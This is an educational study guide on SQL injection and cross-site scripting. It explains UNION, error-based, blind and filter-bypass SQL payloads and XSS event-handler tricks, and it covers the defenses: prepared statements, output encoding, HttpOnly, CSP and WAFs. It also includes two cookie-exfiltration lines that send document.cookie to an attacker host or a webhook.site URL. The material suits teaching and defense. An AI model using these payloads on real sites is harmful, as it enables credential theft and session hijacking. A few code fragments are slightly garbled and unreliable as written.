

SQL Injection and Cross-Site Scripting (XSS)

NECKER

21 December 2025

Contents

1	Web Architecture and Database Interaction	2
2	SQL Injection	2
2.1	UNION-Based or Error-Based	2
2.1.1	Union-Based SQLi	2
2.1.2	Error-Based SQLi	2
2.2	Data Type-Based SQL Injection	3
2.2.1	Integer SQL Injection	3
2.2.2	String SQL Injection	4
2.2.3	Float SQL Injection	4
2.3	Bypass Mechanisms and Blind SQLi	5
2.3.1	Input Filtering (SQL)	5
2.3.2	Filtering Bypass: The OorR Technique	5
2.3.3	Boolean-Based Blind: Binary Search	5
2.3.4	Time-Based Blind	6
2.3.5	Advanced Defense and Tools	6
3	Cross-Site Scripting (XSS) - In-Depth Analysis	6
3.1	Attack Vectors and Injection Mechanism	6
3.2	Filter Evasion and Advanced Payloads	7
3.2.1	Bypass Techniques	7
3.3	Main Defense: Output Encoding	8
3.4	Attack Scenario: Session Hijacking and Webhook	8
3.5	Defense in Depth: CSP, HttpOnly, and WAF	9

1 Web Architecture and Database Interaction

Modern web applications function as intermediaries between the user and the data. The **Client** (browser) sends requests to the **Backend** (Server), which queries a relational **Database** using the SQL language. The fundamental principle of security is that the client must never interact directly with the database; every communication must be mediated and validated by the server.

2 SQL Injection

SQL Injection occurs when user-supplied data is concatenated into an SQL query without proper sanitization or parameterization.

2.1 UNION-Based or Error-Based

In-band attack techniques are characterized by using the same communication channel for both sending the malicious payload and receiving the exfiltrated data. In this scenario, the attacker exploits the direct response from the server to obtain information about the structure and content of the database.

2.1.1 Union-Based SQLi

The technique based on the UNION operator allows combining the results of the original query with the results of a second query inserted by the attacker.

- **Mechanism:** The attacker injects a `UNION SELECT` command to concatenate rows coming from arbitrary tables (such as system or user tables) to the legitimate results.
- **Consistency Requirement:** For proper functioning, the injected query must possess the same number of columns as the original query. If the backend query selects `productid`, `name`, `price`, the attacker must provide exactly three fields in the UNION command.
- **Payload Example:** An input like `' UNION SELECT username, password, '1' FROM users --` allows displaying login credentials directly within the product list displayed on the page.

2.1.2 Error-Based SQLi

This technique relies on the attacker's ability to force the database to generate error messages that contain sensitive information.

- **Backend Error Handling:** The vulnerability is often caused by improper handling of exceptions. In the analyzed code, the `catch` block captures the `PDOException` and prints its content via `echo $e->getMessage()`.
- **Exploitation:** The attacker can intentionally inject syntactically incorrect queries or impossible type conversions (e.g., attempting to convert a string containing the database version name into an integer).

- **Informative Output:** The database, in an attempt to explain the error, will return a string like *"Invalid input syntax for integer: 'PostgreSQL 14.2'"*, thereby revealing valuable information directly to the attacker on the web page.

Practical Example: Let us imagine that the application uses a PostgreSQL database and accepts a search input.

Sent Payload:

```
' AND 1=CAST((SELECT current_user) AS INT) --
```

Query Executed by the Backend: The PHP code concatenates the input, generating an instruction that forces an illegal type conversion:

```
SELECT * FROM products WHERE name = '' AND 1=CAST((SELECT
    current_user) AS INT) --'
```

Flow Analysis:

- The database executes the sub-query `SELECT current_user`, obtaining the result (e.g., the string `'postgres'`).
- The command `CAST(... AS INT)` attempts to convert the string `'postgres'` into an integer.
- The operation is impossible: the database generates a critical exception (Error).
- Since the backend uses `echo $e->getMessage()`, the error is printed on the page:

ERROR: invalid input syntax for type integer: "postgres"

In this way, the attacker has extracted the name of the database user (`postgres`) simply by reading the error message returned by the application.

The utilization of **Fortinet** as a Web Application Firewall (WAF) can mitigate these attacks by blocking known injection patterns or preventing the display of database error messages to the end user.

2.2 Data Type-Based SQL Injection

2.2.1 Integer SQL Injection

In this scenario, the database expects a numerical value not enclosed in quotation marks. Since there is no string to "break", the attacker can add logical operators directly after the expected value.

Vulnerable Code Example (PHP):

```
$id = $_GET['id'];
$query = "SELECT name, price FROM products WHERE category_id = "
    . $id;
```

Attack: If the user inputs `1 OR 1=1`, the final query becomes:

```
SELECT name, price FROM products WHERE category_id = 1 OR 1=1;
```

Result: The clause `OR 1=1` is always true. The database will return all products from all categories, bypassing the display restrictions intended by the developer.

2.2.2 String SQL Injection

The vulnerability stems from the fact that SQL queries use single quotes to demarcate textual data. By injecting a single quote (`'`), the attacker can prematurely terminate the string data literal.

Vulnerable Code Example (PHP):

```
$user = $_GET['username'];  
$query = "SELECT * FROM users WHERE username = '" . $user . "'";
```

Attack: By inserting `admin' --`, the query becomes:

```
SELECT * FROM users WHERE username = 'admin' --';
```

Result: The single quote after `admin` closes the string. The two hyphens (`--`) indicate a comment in SQL, making everything that follows irrelevant (such as any password checks). This allows logging in as the administrator without knowing the credentials (naturally, if the column is named *admin*).

2.2.3 Float SQL Injection

This variant targets parameters that the backend treats as floating-point numbers (decimals). It is often used to bypass filters that partially validate input, allowing characters like the dot (`.`) but failing to block subsequent command injections (often, for integers they block everything that is not a number, whereas here they must be more permissive).

Vulnerable Code Example (PHP): In this fragment, the programmer uses the dot (`.`) as a concatenation operator to join the fixed SQL string with the variable `$price` coming from the user:

```
$price = $_GET['max_price'];  
// The query is constructed dynamically by concatenating the  
// input  
$query = "SELECT name, price FROM products WHERE price < " .  
         $price;
```

Attack Scenario: The attacker notices that the system accepts decimal numbers and tries to insert a payload that exploits the `UNION` clause to extract data from a different table.

Malicious Input: `99.9 UNION SELECT login, password FROM users --`

Resulting Query in the Database: After the concatenation performed by the backend, the query becomes a composite instruction that alters the original logic programmed into the site:

```
SELECT name, price FROM products WHERE price < 99.9 UNION SELECT  
login, password FROM users --;
```

Result Analysis:

- **Part 1:** `SELECT name, price FROM products WHERE price < 99.9` extracts cheap products.
- **Part 2 (Injection):** `UNION SELECT login, password FROM users` "glues" the results of the users table to those of the products.
- **Part 3 (Comment):** The two hyphens (`--`) serve to ignore any remainders of the original query that could cause syntax errors.

The attacker thus manages to view sensitive data (such as password hashes) directly in the product list of the web page.

2.3 Bypass Mechanisms and Blind SQLi

Preliminary Concepts: Filtering

Filtering is the fundamental mechanism for securing web applications. It consists of neutralizing user-supplied data so that it cannot be interpreted as instructions by the system.

2.3.1 Input Filtering (SQL)

In the SQL domain, filtering attempts to "clean" data before it is concatenated into the query. In PHP, the concatenation operator `.` is often the entry point for vulnerabilities. Mainly, it attempts to remove all symbols that can create undesired queries; often, keywords like `AND`, `OR` are replaced with empty strings `""`.

2.3.2 Filtering Bypass: The OorR Technique

This technique exploits the flawed implementation of filters based on string replacement (Blacklisting). If a firewall or an application performs a non-recursive removal of keywords like `OR`, `AND`, or `SELECT`, it is possible to nest them.

Scenario: The filter executes `str_replace("OR", "", $input)`. **Malicious Input:** `OorR`

1. The filter finds the substring "or" (case-insensitive) inside `OorR`.
2. It removes it, leaving `O` and `R`.
3. The resulting string that reaches the database is `OR`.

This allows the logical operator to pass despite the filter.

2.3.3 Boolean-Based Blind: Binary Search

When the application does not display the query output but only whether the operation succeeded (e.g., a page that loads or returns a generic error), boolean logic is used.

Example to guess the first letter of a table:

1. `1 AND (SELECT ASCII(SUBSTRING(table_name,1,1)) FROM information_schema.tables) > 100` → If the page loads successfully, the letter has an ASCII value ≥ 100 .

2. **Binary Search:** Instead of testing every value (1, 2, 3...), the attacker halves the range (e.g., > 112, then < 106). This allows identifying a character in a maximum of 7-8 attempts rather than 255, drastically accelerating the recovery of **password hashes** or table names.

2.3.4 Time-Based Blind

If the page remains identical in both success and failure cases, the only variable is the server's response time. **Payload:** 1 AND IF(SUBSTRING(user(),1,1)='a', SLEEP(5), 1) **Analysis:** If the first character of the username is 'a', the database will wait 5 seconds before responding. The attacker measures the page loading time to confirm the hypothesis.

2.3.5 Advanced Defense and Tools

The only definitive method to prevent these vulnerabilities is the use of **Prepared Statements** (Parameterized Queries). These completely separate the code logic from user-supplied data, making it impossible to interpret the input as an SQL command.

Tools like **Sqlmap** automate all the techniques described above, including binary search and time-based tests, making manual attacks obsolete for the massive data exfiltration phase. At the perimeter, systems like **Fortinet** analyze traffic to block injection patterns before they reach the backend.

3 Cross-Site Scripting (XSS) - In-Depth Analysis

Cross-Site Scripting (XSS) represents a class of vulnerabilities that allows an attacker to inject arbitrary code (usually JavaScript) into the execution context of a trusted website. The danger lies in the fact that the victim's browser has no way to distinguish the malicious script from the legitimate one, executing it with the same privileges as the host application.

3.1 Attack Vectors and Injection Mechanism

The injection occurs when user-supplied data is incorporated into the HTML response (Backend XSS) or into the page DOM (Frontend XSS) without proper sanitization.

- **Reflected XSS:** The payload is sent to the server (usually via GET or POST URL parameters) and the server immediately "reflects" it in the HTML response, without storing it. The attack requires social engineering, as the victim must click on a malicious link prepared by the attacker.

Example: An internal search engine that prints the searched term:

```
// URL: http://site.com/search.php?q=<script>alert(1)
</script>
$query = $_GET['q'];
echo "Results for: " . $query;
// The browser executes the script immediately
```

Instead of printing alert as text, it executes the code inside the tags (malicious code).

- **Stored XSS (or Persistent XSS):** The payload is injected and permanently stored in the server's database (for example, in a comment, a forum post, or account details). The danger is high because the code is automatically executed by *any* user who views the infected page, without them needing to click on strange links.

Example: A guestbook where comments are not filtered:

```
-- The attacker inserts this comment into the DB:
Hello! <script>fetch('http://hacker.site?cookie='+
    document.cookie)</script>
```

When an administrator views the comments to moderate them, their session cookie is sent to the attacker. (Unlike reflection, here the code is executed client-side and is not injected dynamically by the server processing the parameter (in the other, the server writes the malicious code sending the infected page), it is the browser interpreting the server's instructions and rendering the stored malicious script).

- **DOM-Based XSS:** The vulnerability resides entirely in the client-side JavaScript code, often without involving the backend. The attack occurs when the script takes an untrusted input (called a *source*, such as the URL or 'window.location') and passes it to a dangerous function (called a *sink*) capable of executing code or rendering HTML.

Example: A welcome page that reads the username from the URL and inserts it into the DOM using 'innerHTML':

```
// URL: http://site.com/welcome.html?user=<img src=x
onerror=alert(1)>
const params = new URLSearchParams(window.location.
    search);
const user = params.get("user"); // Source
% Vulnerable sink: innerHTML executes the malicious
img tag
document.querySelector("#welcome").innerHTML = '
    Welcome, ${user}!';
```

In this case, the use of innerHTML allows the execution of the onerror event contained in the payload.

3.2 Filter Evasion and Advanced Payloads

Security filters based on blacklists (lists of forbidden words) are inherently weak. If a filter tries to remove dangerous tags, attackers use obfuscation techniques and alternative contexts.

3.2.1 Bypass Techniques

- **Alternative Tags:** If the <script> tag is filtered or removed, the attacker can use tags that support event handlers.

```


<input onfocus="alert(1)" autofocus>
```

```
<svg onload="alert(1)">
```

- **JavaScript Protocols:** In links or `src` attributes of an `iframe`, it is possible to use the pseudo-protocol `javascript:`.

```
<a href="javascript:alert(1)">Click me</a>  
<iframe src="javascript:alert(1)"></iframe>
```

- **Obfuscation:** If the filter blocks keywords like `alert`, it is possible to use functions like `eval()` with Hex or Unicode encoding, or exploit the dynamic nature of JS (e.g., `top['al'+ 'ert'](1)`).

3.3 Main Defense: Output Encoding

Unlike SQL Injection where you sanitize the input, for XSS the defense must occur at the moment the data is printed to the screen (Output). **Output Encoding** converts characters with semantic meaning in HTML into safe entities:

- `<` becomes `<`;
- `>` becomes `>`;
- `"` becomes `"`;
- `'` becomes `'`;

In PHP, the standard function for this operation is `htmlspecialchars($input, ENT_QUOTES, 'UTF-8')`.

3.4 Attack Scenario: Session Hijacking and Webhook

One of the most critical consequences of XSS is session theft, which bypasses the **Same Origin Policy (SOP)**. The SOP normally prevents *evil.com* from reading data from *bank.com*, but since XSS executes code within the context of *bank.com*, the script has full access.

Attack Workflow:

1. **Injection:** The attacker injects a payload that reads `document.cookie` (where the Session ID often resides).
2. **Exfiltration:** The script must send this data to the attacker. Since it cannot connect directly to the hacker's database, it makes an HTTP request to a controlled server.

```
// Creates an invisible image pointing to the  
    attacker's server  
new Image().src = 'https://webhook.site/my-uuid?  
    cookie=' + document.cookie;
```

3. **Collection (Webhook.site):** In labs and real tests, services like *Webhook.site* are used. This tool generates a unique URL and acts as a "collector", logging and displaying in real time every HTTP request received, including GET parameters containing the stolen cookies.

3.5 Defense in Depth: CSP, HttpOnly, and WAF

Since encoding can fail (human error), defenses are implemented at subsequent layers.

- **HttpOnly Cookies:** This is a flag set on session cookies server-side. It instructs the browser to prevent access to that cookie via JavaScript (`document.cookie` will not show it), neutralizing session theft via XSS, although it does not resolve the XSS vulnerability itself.
- **Content Security Policy (CSP):** This is an HTTP header (`Content-Security-Policy`) that acts as a whitelist for executable resources.
 - It allows disabling inline script execution (blocking `<script>alert(1)</script>`).
 - It allows specifying which domains can load external JS files (e.g., `script-src 'self' https://apis.google.com`).
- **Web Application Firewall (Fortinet):** Hardware or software solutions (such as FortiWeb) positioned at the network perimeter. They analyze HTTP traffic at layer 7 (Application Layer). They use updated signatures and behavioral analysis to identify and block requests containing known XSS attack patterns (such as script tags or suspicious event handlers) before they even reach the web server.